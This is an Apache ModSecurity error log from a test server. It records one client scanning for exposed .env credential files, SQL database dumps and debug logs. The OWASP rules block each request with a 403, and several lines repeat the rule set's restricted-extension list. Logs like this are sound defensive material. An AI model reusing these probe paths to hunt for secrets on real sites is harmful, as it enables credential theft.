[Wed Feb 25 06:05:03.106544 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/e2e/.env&quot;] [unique_id &quot;aZ6C_56MLyC5r86Hx-ZXUwAAAAQ&quot;]
[Wed Feb 25 06:05:03.171537 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dataset2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aZ6C_2Xxsr5IXP-ltRiaqgAAAAA&quot;]
[Wed Feb 25 06:05:03.171824 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aZ6C_2Xxsr5IXP-ltRiaqgAAAAA&quot;]
[Wed Feb 25 06:05:03.172010 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aZ6C_2Xxsr5IXP-ltRiaqgAAAAA&quot;]
[Wed Feb 25 06:05:03.240116 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /en/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aZ6C_56MLyC5r86Hx-ZXVAAAAAQ&quot;]
[Wed Feb 25 06:05:03.240393 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aZ6C_56MLyC5r86Hx-ZXVAAAAAQ&quot;]
[Wed Feb 25 06:05:03.240568 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aZ6C_56MLyC5r86Hx-ZXVAAAAAQ&quot;]
[Wed Feb 25 06:05:03.354375 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /engine/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aZ6C_56MLyC5r86Hx-ZXVQAAAAQ&quot;]
[Wed Feb 25 06:05:03.354649 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aZ6C_56MLyC5r86Hx-ZXVQAAAAQ&quot;]
[Wed Feb 25 06:05:03.354859 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/engine/.env&quot;] [unique_id &quot;aZ6C_56MLyC5r86Hx-ZXVQAAAAQ&quot;]
[Wed Feb 25 06:05:03.444582 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aZ6C_2Xxsr5IXP-ltRiarQAAAAA&quot;]
[Wed Feb 25 06:05:03.445127 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aZ6C_2Xxsr5IXP-ltRiarQAAAAA&quot;]
[Wed Feb 25 06:05:03.445317 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aZ6C_2Xxsr5IXP-ltRiarQAAAAA&quot;]
[Wed Feb 25 06:05:03.478790 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aZ6C_2Xxsr5IXP-ltRiargAAAAA&quot;]
[Wed Feb 25 06:05:03.479284 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aZ6C_2Xxsr5IXP-ltRiargAAAAA&quot;]
[Wed Feb 25 06:05:03.479463 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db_backup.sql&quot;] [unique_id &quot;aZ6C_2Xxsr5IXP-ltRiargAAAAA&quot;]
[Wed Feb 25 06:05:03.729980 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aZ6C_2Xxsr5IXP-ltRiasQAAAAA&quot;]
[Wed Feb 25 06:05:03.730554 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aZ6C_2Xxsr5IXP-ltRiasQAAAAA&quot;]
[Wed Feb 25 06:05:03.730780 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/debug.log&quot;] [unique_id &quot;aZ6C_2Xxsr5IXP-ltRiasQAAAAA&quot;]
[Wed Feb 25 06:05:04.130078 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/dockers/mariadb-test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXWQAAAAQ&quot;]
[Wed Feb 25 06:05:04.130501 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXWQAAAAQ&quot;]
[Wed Feb 25 06:05:04.130698 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/mariadb-test/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXWQAAAAQ&quot;]
[Wed Feb 25 06:05:04.187931 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /default/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiatgAAAAA&quot;]
[Wed Feb 25 06:05:04.188300 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiatgAAAAA&quot;]
[Wed Feb 25 06:05:04.188497 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiatgAAAAA&quot;]
[Wed Feb 25 06:05:04.216047 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /delivery/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiatwAAAAA&quot;]
[Wed Feb 25 06:05:04.216394 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiatwAAAAA&quot;]
[Wed Feb 25 06:05:04.216589 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/delivery/.env&quot;] [unique_id &quot;aZ6DAGXxsr5IXP-ltRiatwAAAAA&quot;]
[Wed Feb 25 06:05:04.235500 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /env/dockers/php-apache/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXWgAAAAQ&quot;]
[Wed Feb 25 06:05:04.235772 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXWgAAAAQ&quot;]
[Wed Feb 25 06:05:04.235948 2026] [:error] [pid 2312883] [client 185.177.72.13:44592] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/dockers/php-apache/.env&quot;] [unique_id &quot;aZ6DAJ6MLyC5r86Hx-ZXWgAAAAQ&quot;]
